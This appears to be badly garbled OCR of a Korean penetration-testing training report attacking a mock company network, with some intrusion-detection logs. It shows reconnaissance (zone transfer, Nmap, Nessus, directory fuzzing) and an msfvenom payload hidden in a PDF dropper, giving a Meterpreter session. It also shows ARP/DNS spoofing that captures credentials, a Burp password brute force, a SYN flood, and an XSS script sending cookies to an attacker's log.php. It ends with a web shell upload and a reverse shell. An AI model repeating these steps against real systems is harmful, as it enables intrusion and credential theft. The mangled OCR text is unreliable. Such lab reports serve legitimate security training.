22c0d9 76 76 5d 13 31 33 d7 dF df e2 b9 2e of " w] 13
45 dd 95 ¢3 12 25 cb 69 7e 4b a2 88 b7 cf 45 BL H.. (i K- E
33212922 c208 b6 ed 73 69 faac 2a1d 7055 31)% - sio*pU
9 ae 74 ca 59 77 24 @3 5319 99 9b eb 6d 7a 3 £ Yu- S mz?
863 c745c2Fa3d b2 S3fadb6asEcBezfe tE o= 5Kj
b oc £3 97 2b 42 62 4b bF 95 64 b c2 5¢ FF €8 K. 43K -d\
b 5c b6 F2 73 84 52 3 06 F5 52 33 Se 5d @242\ s R34]3
38 03 25 of 60 d5 a4 bl b3 Gc 5L 12 09 <O a8 5% :
dc 44 39 6d fc 5128 50 9 b6 44 4b 16 54 50 e DAm-Q(P DK']
5 13 Ge 0 10 Ge 6e 4b a7 02 dL da 32 25 23 da 20
04 26 3a d1 f0 ec cs 3d 6172 29 1a 15 le 33 50 ar-ap
8b 8F 59 74 53 3c 5F 12 7c 3e 6 73 fd b3 2F 73 VESC_ s /s
99 €7 153 71 75 6C 78 53 76 4b % c1 68 3e 5 Squlp Sk >
a4 c2 9d be 41 c2 af 7e ce d4 85 BF 83 £ 61 b2 A a
62 b5 72 ce 7e 70 98 3o Ge 72 23 €5 70 €2 d5 28 ro~p> 2 (
94 6b a7 5F 7d d3 57 24 7 69 14 F4 ce 26 24 80k} WS i &
4222 2249 10 26 6d 26 od €6 47 8 b3 37 77 cO  I"T 67w M
© 7 Echoed timestamp from remote machine (tcp.options timestamp.tsecr), 4H0|E. T2 138202 7§ EAIE: 26387(19.1%) =2 Default
—_ e -
XpCh SHH 2, SAXHP OflM SHAE7} SEMX T Mo E
) , o9 o4 =2 o - =2
A 71
o o A
M #standard input [manage Ip VMware Network Adapter VMnet15 to R FastEthemet0/0] - x
mEE BI® IV OS@ THO BH@ SAG FHY PHW SR0 =8
Ami® BRE_e=>=FTLSEQAQAQAHE
= cu- )+
No. Time Source Destination Protocol Lengtt Info ”
51121 2025-05-05 20:20:15.264635 ca:01:24:50:00:38  Broadcast 8P 60 Gratuitous ARP for 172.16.0.139 (Reply) (duplicate use of 172.16.0.139 detected!) —
51122 2025-05-05 20:20:15.274479 ca:01:30:b8:00:3a  Broadcast 8P 60 ho has 172.16.6.412 Tell 172.15.0.131
81123 2025-05-05 20:20:15.288786 EFfiietworks_7a:46:5e Broadcast 8P 66 who has 172.16.236.447 Tell 172.16.0.1
51124 2025-05-05 20:20:15.318737 EFfiletworks_7a:46:5e Broadcast 8P 60 ho has 172.16.11.50? Tell 172.16.0.1
51125 2025-05-05 20:20:15.318775 EFfiletworks_7a:46:5¢ Broadcast 8P 60 kho has 172.16.236.43? Tell 172.15.0.1
51126 2025-05-05 20:20:15.338719 EFfiletworks_7a:46:5¢ Broadcast 8P 60 kho has 172.16.236.427 Tell 172.15.0.1
51127 2025-05-08 20:20:15.368664 EFfiletworks_7a:45:5e Broadcast 8P 60 who has 172.16.236.413 Tell 172.15.0.1
51125 2025-05-05 20:20:15.378665 EFfiletworks_7a:46:5e Broadcast 8P 60 ho has 172.16.236.407 Tell 172.15.0.1
51120 2025-05-05 20:20:15.395043 Vihware_2b:a5:5d Broadcast 8P 60 ho has 172.16.15.232? Tell 172.15.4.100
51130 2025-05-05 20:20:15.398666 EFfiletuorks_7a:46:5e Broadcast 8P 60 ho has 172.16.236.397 Tell 172.15.0.1 =
81131 2025-05-05 20:20:15.398512 Vihware_83:3e:fa Broadcast 8P 60 ho has 172.16.13.22 Tell 172.15.0.135
51133 2025-05-05 20:20:15.448933 EFfiletworks_7a:46:5e Broadcast 8P 60 ho has 172.16.236.387 Tell 172.15.0.1
81134 2025-05-08 20:20:1.458731 EFfiletworks_7a:46:5e Broadcast ARP 66 who has 172.16.236.367 Tell 172.16.0.1
81135 2025-05-05 20:20:15.458805 EFfiletworks_7a:45:5e Broadcast 8P 60 kho has 172.16.236.372 Tell 172.15.0.1
81136 2025-05-05 20:20:15.475132 Vihware_63:7b:2b Broadcast 8P 60 ho has 172.15.0.2002 Tell 172.15.1.30 =
51137 2025-05-05 20:20:15.493422 Vihware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2117 Tell 172.15.4.100 -
51135 2025-05-05 20:20:15.508920 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2197 Tell 172.15.4.100
51139 2025-05-05 20:20:15.509040 Vihware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2217 Tell 172.15.4.100 -
51140 2025-05-05 20:20:15.509031 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2207 Tell 172.15.4.100 =
51141 2025-05-05 20:20:15.509107 Vihware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2187 Tell 172.15.4.100 o
51142 2025-05-05 20:20:15.509134 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2172 Tell 172.15.4.100
51143 2025-05-05 20:20:15.509161 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.15.116.2147 Tell 172.15.4.100
51144 2025-05-05 20:20:15.509139 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2157 Tell 172.15.4.100
81145 2025-08-08 20:20:18..509219 Vihware_2b:a5:5d Broadcast 8P 60 who has 172.16.116.2162 Tell 172.16.4.100
51145 2025-05-05 20:20:15.510765 Vhiare_2b:a5:5d Broadcast 8P 60 ho has 172.16.116.2107 Tell 172.15.4.100
51147 2025-05-05 20:20:15.513710 Vehware_2b:a5:5d Broadcast 8P 60 ho has 172.15.116.2097 Tell 172.15.4.100

Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface -, id @
Ethernet 1T, Src: GigaByteTech 8b:f4:14 (b4:2e:99:8b:F4:14), Dst: Broadcast (FF:ff:ff:ff:ff:ff)
Address Resolution Protocol (request)

F 7 £F £F 77 77 bé 20 99 6b 74 14 03 05 00 01
5 00 06 04 00 G1 be 2 99 8b T4 14 ac 10 02 01
0 00 06 00 00 co FSECHFAT, 00 00 00 00 00 00
0 00 00 00 00 G0 00 00 00 00 0D 00

o020

O 7 wireshark_Standard inputPSE1A3.peapng

7l 82888 - SEE:0(00%)

SEE: Default

HEYI LLoIM FHarEol

k=3 Jo]|

— L

£4 53




FN-002

ol
>3 2025-08-T11
=
o) X|FT HEH
DB X%

—T— ¥ id action_time blocked_ip ruleset_ip ::::2 r.;aj:::'
O 7 +8 3i=M @ 24 1005 2025-08-08 19:41:41 172.16.15.66 drop tcp 172.16.15.66 any -> bny (msg."Nm... Nmap SYN Scan Detected
O Z=F Fc=2A @ 44 1006 2025-08-08 19:41:47 172.16.15.66 drop tcp 172.16.15.66 any - ZIE#EE hny (msgi"Nm... Nmap SYN Scan Detected

& * @ p icp Y Y B P
[ 7 +F 3240 @ 44 1007 2025-08-08 19:41:47 172.16.15.66 drop tcp 172.16.15.66 any - ok hny (msg."Po... Possible DoS Attack Type : SYN flood
L 7% =M @ 24 1008 2025-08-08 19:41:47 172.16.15.66 drop tcp 172.16.15.66 any -= hny (msg."-P... -Pn_scan Detected
O 743 % =A@ 24 1009 2025-08-08 19:41:47 172.16.15.66 % drop tcp 172.16.15.66 any -> any any (msg:"SYN Sca... SYN Scan or SYN Flood Detected
O =H e 2A @ AA 1010 2025-08-08 19:41:52 172.16.15.66 drop tcp 172.16.15.66 any - ma§AF pny (msg:"Nm... Nmap SYN Scan Detected

e * @ p tcp Y T|siRE pny B p
O 743 % =A@ 24 1011 2025-08-08 19041152 172.16.15.66 A}l! drop tcp 172.16.15.66 any - ¥ hny (msg"Po... Possible DoS Attack Type | SYN flood
0O 7% 3 SAM @ 24 1012 2025-08-08 19:41:52 172.16.15.66 drop tcp 172.16.15.66 any -> hny (msg."-P... -Pn_scan Detected
O 743 3 SM @ 24 1013 2025-08-08 19:41:52 172.16.15.66 drop tcp 172.16.15.66 any -> any any (msg:"SYN Sca... SYN Scan or SYN Flood Detected
O 748 F =M @ 24 1014 2025-08-08 19:47:49 172.16.15.66 E drop tcp 172.16.15.66 any -~ m&}&t pny (msg:"Nm... Nmap SYN Scan Detected
] =8 e SM AFA| 1015 2025-08-08 19:47:49 172.16.15.66 drop tcp 172.16.15.66 any -> M by (msg"-P... Pn_scan Detected

& E; @
O 74% F =M @ 2 1016 2025-08-08 19:47:49 172.16.15.66 DI. drop tcp 172.16.15.66 any -> hny (msg."Po... Possible DoS Attack Type : SYN flood

—

0O =3 3 SM @ 24 1017 2025-08-08 19:47:49 172.16.15.66 drop tcp 172.16.15.66 any == any any (msg:"SYN Sca... SYN Scan or SYN Flood Detected
0O 748 324 @ 24 1018 2025-08-08 19347:53 172.16.15.66 xg’ drop tcp 172.16.15.66 any -~ m&}At pny (msg"Nm... Nmap SYN Scan Detected
0O &7 +8 324 @ 24 1019 2025-08-08 19:47:53 172.16.15.66 drop tcp 172.16.15.66 any -3 - A% hny (msg"-P...  -Pn_scan Detected
) =H FE =A@ AH 1020 2025-08-08 19:47:53 172.16.15.66 H drop tcp 172.16.15.66 any -> bny (msg."Po... Possible DoS Attack Type : SYN flood

& E; @
[ 74 Fe 24 @ 24 1021 2025-08-08 19:47:53 172.16.15.66 drop tcp 172.16.15.66 any -= any any (msg:"SYN Sca... SYN Scan or SYN Flood Detected

e * @ p tcp Y ly any B
O SH 3¢ 2A @ A 1022 2025-08-08 19:53:22 172.16.15.66 drop tcp 172.16.15.66 any ->| H®#* lany (msg:"Nm... Nmap SYN Scan Detected

& 3 @ A
O Fad 324 @ 24 1023 2025-08-08 19:53:22 172.16.15.66 drop tcp 172.16.15.66 any -=| any (msg"-P... -Pn_scan Detected

4 E; |drop tep ¥ y (msg

CL3
Clo[E{H|O| A 0f XPTHAE 7| = MNE

33 =
2|4 XHEE BHo| ALE




EA Bz -
laC(3ZEE nphE &8st i Hs FN-002
olma} T Kot O}F|ENX J= *32 2025-08-11
oo T T T TR | mow 24/ 91

6. 4% HAE Ha

7h HE BHAE Hx}

DM:-HAproxy

e : DB [{4F ZIE CHY|
—— : S|EM [H2F EE EHY|

AlLtg[= 718k 719 L] DBMS, SIEM, & MHE Hdez W& H&F B4, DB Uy A& H
SIEM O H&F HAZ L+0f Y& H2E T
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Lh) HFHZ2E AlLtE| 2

) UE HE T 1

Li HF Tl ®N S8

(LIS EE B

Malware Mail

ARP/DNS Spoot® =euzp

ema& Mmgo T
@ P 9 DoS Attack Gateway 4
DM?A:roxy o XSS
&, Web Shell
(=)
BR-web
e HE oA 1 58

Malware Mail
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- ZIA 4 BHO[X] F&, olH Y F& (=0 ) =8

& core.it w ® 9

cky Forums  # Rocky Mattermost # Rocky Reddit

S-Core IDC

M|t 7|9 elmaje| 4 s-Core IDC
7| &4
S-Corel= T4, TAIZ|A2) of0|Ef ME| ol ZatS K Z3hs IDC HE

71g YLt 71 EI%:%'OHH’*E}E'EE}OC%FD 22| Mb 2lzat,

S9HUE3 412 Sof M| B XLIA ANAS FALICH

TR MH|A

Colocation (F2#|0]41) AMH|A
HE M Y 2etec sAd
2417 2F W RLIHY

L3 Hot 9l el AIAE

2l S-Corel7t?

| HCHAY| WHE 22, J2|1 D2 9SS AH|AF
o[ ITQIIAtE OHHSl D 28X OE 2¥EY

ul

[EAH SUBA | H 24 amail.core.it

0.

- 1, 2%t E0Q 7|8F SOA BB E =9l DNS AMH [P =0

SECTION:
A 54 5 ns.core.it. core.core.it.
e.it. 540€ N ns.core.it.
e.it. 5400 ; @ mail.core.it.

e.1¢C

Query time: 76 mse
SERVER:

WHEM: Thu Aug 87 12
MSG SIZE r

- DNS R E Enumeration Z1f CtE YOl S AE (VR E 0Y F2a) =0l

Trying NS server 10.6
18.6. Has port 53 TCP Open
Zone Transfer was successful !l

NS ns.core.it 18.6.

AAAMA @ .core.it ::1
W.core.it 1@.
amail.core.it 1L
dm-mail.

dm-webl.
dm-we
dm-web

ns.co

www . core.it 18.
Checking for Zone TIan;+er for
DNSSEC is not configured for c
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HIOIXI 67 / 91

x =
~Hord 24, 9

DMZ Network Scan = Configure Audit Trail Launch ~ Report
< Back to My Scans

Hosts 5 Vulnerabilities 46 Notes 10 History 1
Scan Details
Filter v Q | 5Hosts
Policy: Basic Network Scan
Vulnerabilities + Status: Completed
Severity Base: CVSSv3.0
n . Scanner: Local Scanner
Start: August 9 at 3:27 AM
1 - | : End: August 9 at 3:50 AM

1

Elapsed: 23 minutes

Vulnerabilities

Critical
» High
Medium

- 98 HojRE A o 4y

[-] No platform was selected, choosing MsT::Module::Platform: :Windows from the payload
[-] Mo arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: /var/www/html/red.exe

oy I 242 9l CRWE 59 PDF LAUR 9Ix

I[Umbrella Dropper]! v1.0

[D] Gen Dropper ] by: Alisson Moretto (4wdk3)
[H] Help 8 4wdk3@protonmail.com
[U] Update 8 Tw: @dwdk3official
[E] Ex1it :

[!] Attemption put direct url! ex: http: /mal.exe

[*] Remember to include the http or https.

Insert url from your exe to drop: http: [red.exe
Insert url from file to embed: http:/s information.pdf]]
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HIS: [X12 2Hd] F7} Qx| 23 HEM 2 MT ol I &

(=] 55
. =l Algh , &%} 2025-08-05 11:53

=
T

[£) QR.PNG (~103 KB) +

HpayZ HEotn AZEH - HUZE Yz B2 H 2+

=
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*
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HEZEH ZUE  HuU=
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EilHl; ECH)\IK‘I M7 D'|D|

=E=— To =L

- &HIFZE 528, FOF oHE

ZHEHE AR e M=

ZEatD  +UH0lHH A CHIOMHEOCE 28 «atil 2

=

=
- 201 T WS 22 FEi, = HAIRHE Bt2212] E22

S3E ZEaotAl otz
= Al S LU _2025. pdf

1A} QI8S|S STt AH|RE
Npay2 SEinHA| oM

Started reverse TCP handler o
msf6 exploit{multi/handler) =

Sending stage (177734 bytes) to

Meterpreter session 1 opened ( :55938) at 2025-07-28 11:18:48 +0908
msf6 exploit(multi/handler
sf6 exploit{multi, > sessions -l

Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows WIN-4HJ21BS8610\Administrator @ WIN-4H
J21BS6610
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- UNC(RIZEA3EhS ¢

llvnc_connect.
(1llvnc_connect.

0 - TigerVNC

Resycle B smb_share

log 1 1.t

index. html

<

12}

Microsoft
Edge

HeidiSQL

P Type here to search
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® o
ARP/DNS Spoo‘f_ AIB

amz: MIJIEo ‘

Gateway

- 27 HEYIY FE Y

EN1@ME, MAC:
@ with 128 hosts

ropped by kernel
in 1.810 seconds (70.72 hosts/sec). 2 responded

tcpdump: verbose output suppressed, use -vw[v]... for full protocol decode
listening on eth®, link-type EN1OMBE (Ethermet), snapshot length 262144 bytes
19.114: 1@. 57906 > 1@.5. .domain: 56 A? mn-elk.
19.11:¢ 18. .579@6 > 18.5. .domain: 46801+ AAAA? mn-elk.
10. .domain: 13592+ A? mn-elk.
10. .domain: 14 A? br-web.
1@. .domain: 12932+ AAAA? br-web.

[52]

o 0O oo oo

86400 IN A 10.5.

ns.s-core.it. 86400 IN A 10.5.

Trying Zone Transfer for s-core.it on ns.

-core.it. B . (
-core.it. 51 . .5-core.it.
-core.it.

s-core.it. B e
br-db.s-core.it.

br-dns.s-core.it.

br-nfs.s-core.it.
ch. i

br-web.
mn- ti.s-core.it.
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Starting Nmap 7.95 ( https://nmap.org ) at 2825-88-08 11:34
Nmap scan report for br-web.s-core.it (18.5. )

Host is up (@©.23s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE

808/tcp open http

3306/tcp open mysqgl

~ WAFW@®F : v2.3.1 ~
~ Sniffing Web Application Firewalls since 2014 ~

Checking http://br-web.s-core.it
Generic Detection results:
No WAF detected by the generic detection

- MY HE AR, 230 237 ol

2791

HI2EE 221 | ofolcl 22| | Bl

A M A|ZE 2025-08-05 06:38:04

rer
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- SY NI (YY) Y SAE AHY AT 0j3 SAE ol

Starting Nmap 7.95 ( https:

Nmap scan report for 1@.8

Host is up (@.817s laten:

Nmap scan report for 1@.8

Host is up (@.813s latenc

Nmap scan report for 1@.8

Host is up (@.828s laten:

Nmap scan report for 1@.

Host is up (@.812s latency).

MAC Address: CA:@1 L A:80 (Unknown)
Nmap scan report for

Host is up (@.0810s

MAC Address: 00: (90:BA:TE (VMware)
Nmap scan report f

Host 1s up.

- $%T SAEZ [jAO2 ARP / DNS AFEH

ettercap 8.8.3.1 copyright 2001-2828 Ettercap Development Team
Listening on:

18.8.4.
fedD:: 59cb/64

Scanning for merged targets

IS SEEEESEESSSSSSSSSSSSSSSSSSSSSSSSSSSSS BRI BN
to the hosts Llist ...

ARP poisoning victims:

GROUP 1 : 18.8. 0B:0c:

GROUP 2 : 18.8. CA:@1:
Starting Unified spiffing...

10.8.4. D.B.4. XK: @ RX: @,

161360 - 239.255.255.250:1900

161361 239.255.255.250:1900

208 RX:

208 RX:

27 RX:

27 RX:
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the IP address for POST back in Harvester/Tabnabbing:

Enter
SET supports both HTTP and HTTPS
http://vww.thisisa esite.com

Example:
- > Enter the url to one: http://br-web.s-core.it/login.php

"GET f HTTP/1.1" 2

Activating dns_spoof plugin..
HTTP 18.5. 80 — USER: bbs@9@9 INFO: http:
core.it/login.php

CONTENT: id=bbs@9@9&pw=sco 2025

/br-web.s-

b.s-core.it/index.php

AU QIEEA ZTH 0] 2|

bbs0909
SAIAE

esesesssee
(L] 8% 119() 10:00~18:30 A4 M HEe/LICH
AdlA 0120f 2t HEI=EZILCE

L e

27901
HYHS 27] | ofolc] &7 | H27HY
Si24 M A|ZF 2025-08-05 07:45:51
A2 22
2yt )]
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e ME o 3 S8
e {5 £ E CHYH|
DoS Attack
® (G
® B
DM-HAproxy
A

(o)

- W2 MY e HE A AM 24 822 DMZ T+ & MEO| DoS Attack

64369 48.206043162 245.131.248.227 10.6. TCP 54 33124 - 80 [SYN] Seq=0 Win=512 Len=0
64370 48.206083949 179.56.115.203 18.6. TCP 54 33125 - 80 [SYN] Seq=0 Win=512 Len=0
64371 48.206089870 196.208.86.85 18. 6. TCP 54 33126 -~ 80 [SYN] Seq=0 Win=512 Len=0
64372 48.206129365 146.186.89.195 10.6. TCP 54 33127 — 80 [SYN] Seq=0 Win=512 Len=0
64373 48.206134375 254.164.51.166 10.6. TCP 54 33128 - 80 [SYN] Seq=0 Win=512 Len=0
64374 48.206182576 B88.167.195.244 18.6. TCP 54 33129 - 80 [SYN] Seq=0 Win=512 Len=0
64375 48.206196541 B89.220.215.126 18. 6. TCP 54 33130 -~ 80 [SYN] Seq=0 Win=512 Len=0
64376 48.206228202 167.145.84.127 10.6. TCP 54 33131 - 80 [SYN] Seq=0 Win=512 Len=0
64377 48.206233292 22.27.138.159 10.6. TCP 54 33132 - 80 [SYN] Seq=0 Win=512 Len=0
64378 48.206270462 201.211.39.239 18.6. TCP 54 33133 - 80 [SYN] Seq=0 Win=512 Len=0@
64379 48.206275471 167.5.41.196 18. 6. TCP 54 33134 - 80 [SYN] Seq=0 Win=512 Len=0
64380 48.206312291 27.157.31.248 10.6. TCP 54 33135 -~ 80 [SYN] Seq=0 Win=512 Len=0
64381 48.206317461 109.149.211.88 10.6. TCP 54 33136 — 80 [SYN] Seq=0 Win=512 Len=0
64382 48.206353819 44.84.39.157 18.6. TCP 54 33137 -~ 80 [SYN] Seq=0 Win=512 Len=0
64383 48.206358819 79.209.185.195 18.6. TCP 54 33138 -~ 80 [SYN] Seq=0 Win=512 Len=0@
64384 48.206395358 B85.186.211.186 10.6. TCP 54 33139 - 80 [SYN] Seq=0 Win=512 Len=0
64385 48.206400377 214.211.167.139 10.6. TCP 54 33140 -~ 80 [SYN] Seq=0 Win=512 Len=0
64386 48.206437758 135.163.61.5 18.6. TCP 54 33141 - 80 [SYN] Seq=0 Win=512 Len=0
64387 48.206442808 191.166.61.164 18. 6. TCP 54 33142 - 80 [SYN] Seq=0 Win=512 Len=0
64388 48.206478896 106.157.38.113 10.6. TCP 54 33143 - 80 [SYN] Seq=0 Win=512 Len=0
64389 48.206483945 149.215.203.232 10.6. TCP 54 33144 - 80 [SYN] Seq=0 Win=512 Len=0
64390 48.206520555 50.254.148.86 18.6. TCP 54 33145 - 80 [SYN] Seq=0 Win=512 Len=0
64391 48.206525604 146.113.71.201 18. 6. TCP 54 33146 -~ 80 [SYN] Seq=0 Win=512 Len=0
64392 48.206562684 56.117.41.157 10.6. TCP 54 33147 - 80 [SYN] Seq=0 Win=512 Len=0
64393 48.206567644 232.126.196.167 10.6. TCP 54 33148 -~ 80 [SYN] Seq=0 Win=512 Len=0
64394 48.206603501 208.112.207.89 18.6. TCP 54 33149 - 80 [SYN] Seq=0 Win=512 Len=0
64395 48.206608631 101.96.195.164 18. 6. TCP 54 33150 -~ 80 [SYN] Seq=0 Win=512 Len=0
64396 48.206646443 196.145.95.251 10.6. TCP 54 33151 - 80 [SYN] Seq=0 Win=512 Len=0
64397 48.206651462 120.201.117.141 10.6. TCP 54 33152 - 80 [SYN] Seq=0 Win=512 Len=0
64398 48.206691107 47.208.109.230 18.6. TCP 54 33153 - 80 [SYN] Seq=0 Win=512 Len=0
64399 48.206696106 188.217.31.203 18. 6. TCP 54 33154 - 80 [SYN] Seq=0 Win=512 Len=0
64400 48.206733277 157.133.28.150 10.6. TCP 54 33155 - 80 [SYN] Seq=0 Win=512 Len=0
64401 48.206738296 207.157.149.51 10.6. TCP 54 33156 — 88 [SYN] Seq=0 Win=512 Len=8
64402 48.206776769 90.57.180.97 18.6. TCP 54 33157 -~ 80 [SYN] Seq=0 Win=512 Len=0
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Malware Mail

- UE @ MY 2= 5k Ho[X|, 22|Xr HO|X|, & ot A7Hd At 5k HO|X| (R2E

Ho|X| 92) X 2|t HO|X| 2ol

admin.php [Status: ize: @ = Lines: 1, Duration:
admin [Status: ize: = Lines: 1, Duration:
i Lines: 1, Duration:
2, Lines: 11, Du
Lines: 1, Duration: 568ms]
Lines: 1, Duration: 553ms]
1, Lines: 1@, : 816ms]
Words: Lines: 1@, ion: 971ms]
Word Lines: 1@, ion: 7ms]
, Word , Lines: 1@, Duration: 877ms]
@, Words: 1, Lines: Duration:
@, Words: 1, Lines: : 969ms]
@, Words: 1, Lines: : 953ms]
. : B, Words: 1, Lines: Duration: 415ms]
[Status: Size: @, Words: 1, Lines: Duration: 646ms]
login.php [Status: - ize: 2189, Words: i : 64, Duration: 1399ms]
login Status: Size: 2189, Words: i : 64, Duration: 3ms]
server-status us: i 94, Words ines: 11, Duration: 16@@ms]
[Status: ize: @, Words: 1, Duration: 491ms]
[Status: e: @, Words: 1, Lines: Duration: 768ms]
i 311, Words: 21, Lines: 1@, Duration: 753ms]
req/sec Duration: [@:@6:08@] :: Errors: @

- LR @ MY oY FefE BA 2o F7| 23 FE / DB AE EF F %4 (config.php) / XSS

o |
Chain FH&HE 52 =0l

1,
1,

eveloper.mozill
nt to render the
e
: Cookie PHPSESSID created without the httponly flag
00t p: redirects to: login.php
i Uncommon he:
ows a rs to ly brute
hange.xforce.ibmcloud. com/vulner

method is
PHP Config f
onfiguration information may be a
A9-4C7B0O8 PHP iall itive inform
A769-00AA00 1A PHP r L ive inform
might be intere

ght be interesti
might be inter g
nf_gi.htm: This might be interesting: has been seen in web logs from an unknown scanner.

Directory indexing found.
Admin login pa

of the source code via the -s ameter, and may allow command execution.
of the source code via the -s parameter, and may allow command execution.
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s-core.it.

E 20:30:15

2 AR YRS WY PE UL KR YSY SN R ATAS DTN YRSH T 228 20250805
El 20:30:15
1 UWEAAEEZ e oY+ 32 18426 W A A HH0| ¥ LCH Y AlZE S0 el 0120] HEd EEE 2025-08-05
L % qiaLich 20:30:15
HAlZ 24

DAL 22 H

SK Hynics

« ITEL: admin@skhynics.io
« 2%} 02-2374-2000

Samsung &4 S4k

« ITE: admin@samsung.io
« #5} 02-2000-0483

22210l A 22|

80%

- Bolato] 77| YHE B IS AIAE

i
oz
o

22| 2ol A 22|

nol

<script>

fetch('http://| NI/ 100 .php?cookie=' + document.cookie);
</scripts]

1 www-data www-data cookie.txt
-rw-r—r— 1 root root

[2025-08-05 11:56:10] IP:

@4:11 log.php
Mozilla/5 i
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.8.0.0 Safari/
Cookie: PHPSESSID=4a56b3147b11945f7dcb9ec1f3es237cC

indows NT 10.0;
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- = 7| HEE BurpSuiteE S Al SHOIME A=, 219 AL history 7|5

Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn & Settings

mage andgeneral binary ; hiding 4« responses; hiding empty (@]

Host. Method URL
it br-web s-core it GET Tioginphp
htp:/Tbr-web s-core.it POST Tlogin php A Notsecure  br-web.s-core.it/login.php

GET
GET

You are using an unsupported command-line flag: --no-san: bility and security will suffer.

Request
Pretty  Raw Hex &

1 GET flogin.php HTTR/L.1

2 Host: br-web.s-core.it

= Accept-Language: en-US,en;q=0.3

% Upgrade-Insecure-Requests: 1

= User-Agent: Mozilla/5.0 (X11; Linux xB6_64] AppleWebKit/537.36 (KHTHL, like Gel
Chrome/135.0.0.0 Safari/537.36

& Accept:
text /htnl, application/xhtnl+xnl,application/xnl;q=0.9, inage/avif, inage /webp, in
,%/%;6=0.8, appl ication/signed-exchange; v=b3;q=0.7

7 Accept-Encoding: gzip, deflate, br

5 Connection: keep-alive

ofo|t = HYHET} Y2I5HA| gELc

HgHS 01 | ol0ICI A1 |

&<l —" o S e AL 0005-08-05 08-07:38 i

- 2790 ¢ X T

Host Method LURL Params
http://br-web.s-core.it GET login.php
[ http:/fbr-web.s-core.it POST {login.php o
Request
Pretty Raw Hex o] n =

1 POST flogin.php HTTR/L1.1

Host: br-web.s-core. it

5 Content-Length: 19

4 Cache-Control: max-age=0

5, Accept-Language: en-US,en;g=0.9

= Origin: http://br-web.s-core. 1t

Content-Type: application/x-www-Torm-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas5.0 (¥11; Linux x86_&4) ApplewWebKit/537.36 (KHTML, like Geckol

Chromes135.0.0.0 Safari/537.36

10 Accept:
text/html, applications/xhtml+xml, applicationsxml ;q=0.9, image/avif, image webp, image/apn
q,¥/%:q=0.8,application/signed-exchange;v=h3;q=0.7

1 Referer: http:/s/br-web.s-core.it/login.php

Accept-Encoding: azip, deflate, br

5 Cookie: PHPSESSID=0455%9a32fabefa9c00fee347d6eana7a

Connection: keep-alive

1d=AAMAAASDw=BEBBEE
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- 77| 8D/ PW 52| &|H mi2t0jg #x

Payloads =D @ X

@ | sniperattack ~

Payload position:

Target | hitpi/br-webs-core it @ UpdateHostheadertomatchtarget | paiagne: | simplelist v

Payloadcount: 10

Positions | Add§ Clear§ Auto§ Requestcont: 30

POST /Login.php HTTP/1.1 Payload configuration ~
Host: broweb.s-core. it

Content-Lengt

Cache-control: max-age=0

< Accept-Language: en-US, en;q-0.9
5 Origin: http://br-wveb.s-core.it Paste
7 Content-Type: application/x-vww- forn-urlencoded

admin
root

5 Upgrade- Insecure- Requests Loac toor
5 User-Agent: Mozilla/5.0 (X11: Linux x86_64) AppleWebKit/S37.36 (KHTML, like Gecka) Chrome/135.0.0.0 Safari/537.36 administrator
10 Accept: text/htnl,application/xhtnl+xnl application/xnl;q=0.9,inage/avif,image/webp, inage/apng, */+; q=0.8, application/signed-exchange ;v=b3;q=0.7 Remove control
11 Referer: http://broveb.s-core it /login.php Cear arl
12 Accept-Encoding: gzip, deflate, br item
15 Cookie: PHPSESSID=4a56b3147b11945f7dchsec]f3e6237c Deduplicate || scorescore
11 Connection: keep-alive b
16 i -SHBAREASGov-SBEBBEES 6rol e-SCCCCCCS brwebscore
hdd s
‘Addfrom ls.. [Proversion nly] <
Payload processing M
Payloadencoding v
=
- Status 2002 =2 A-”M '6'|-O|X‘||7| Mo 30|
— — O ocoo=Z =L
Attack  Save
9 9 Attack ~ Save v @
Results Positions.
7 Capture filter: Capturing allitems Applycapturefitter g
W View filter: Showingallitems H 2
=
2
Request Position Payload Status code Response received  Error Timeout Length Comment e
7 3 admin 200 77 407
» 3 oot 401 76 407
s 3 toor 401 7 407 -
2 3 administrator 401 & 407 G
5 3 control 401 7 407 =
% 3 ctrl 401 75 407 7
7 3 item 401 7 407 g
3 3 scorescore 401 75 407 2
9 3 brweb 401 59 407 =
El] 3 brwebscore 401 7 407 g

- B2zt Holx| 229l 2ol

2|2} mjo|z|

admind [27

HNE 22
};{
D A= e 44zt 2y E
4 y pr
CEUFEEEEES 8% B0t 1 ARE AR Bl FHSBLICL 42 F SHOIA S B, | e 4
2l 95 222 0jF YRY QUK 27 AZRE SINE YRCH FN2. gon | G2oes O
L U AAHIZZ O ol F 30U I6AIRE U AR 220 AUELICH Y A S MHIAOIBOIMHE | oo 20250805 A
W PRI # 20:30:15 A
2OArE B2
D oz oAl 2y )
1 nol 2025-08-05 20:52:53 AR
svte 23 al
D ofojc] oz olo Hsps e Ha
2 C Mo]2[]
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Upload File

| Browse... | No file selected.

Upload

Uploaded successfully to uploads/.php

File Actions Edit View Help

listening on
connect to

] from (UNKNOWN) [1@.5.

-k -L = |
[-p prompt] [-u username|#uid]
<command>}
[-p prompt] [-u username |#uid]

=
w
o

oo m

May 21

Aug
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ifconfig

ethl Link encap:Ethernet HWaddr @0:0c:29:
inet addr:16.5. Bcast:18.5. ask:
inet6 addr: fe88::28c:29ff:feal3:1d72/64 5:cpe LlnP
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1

RX packets:44870 errors:@ dropped:@ overruns:@ frame:@
TX packets:46315 errors:@ dropped:@ overruns:@ carrier:@

collisions:® txqueuelen:1000
RX bytes:8182831 (7.7 MB) TX bytes:27943223
Interrupt:16 Base address:@=x2080

- 27 HEYTY FE £

HwWtype quddin
ether =
ﬂﬂ G@

1s /fetc/ssh
moduli

ssh_config
ssh ho;t dsa

.pub
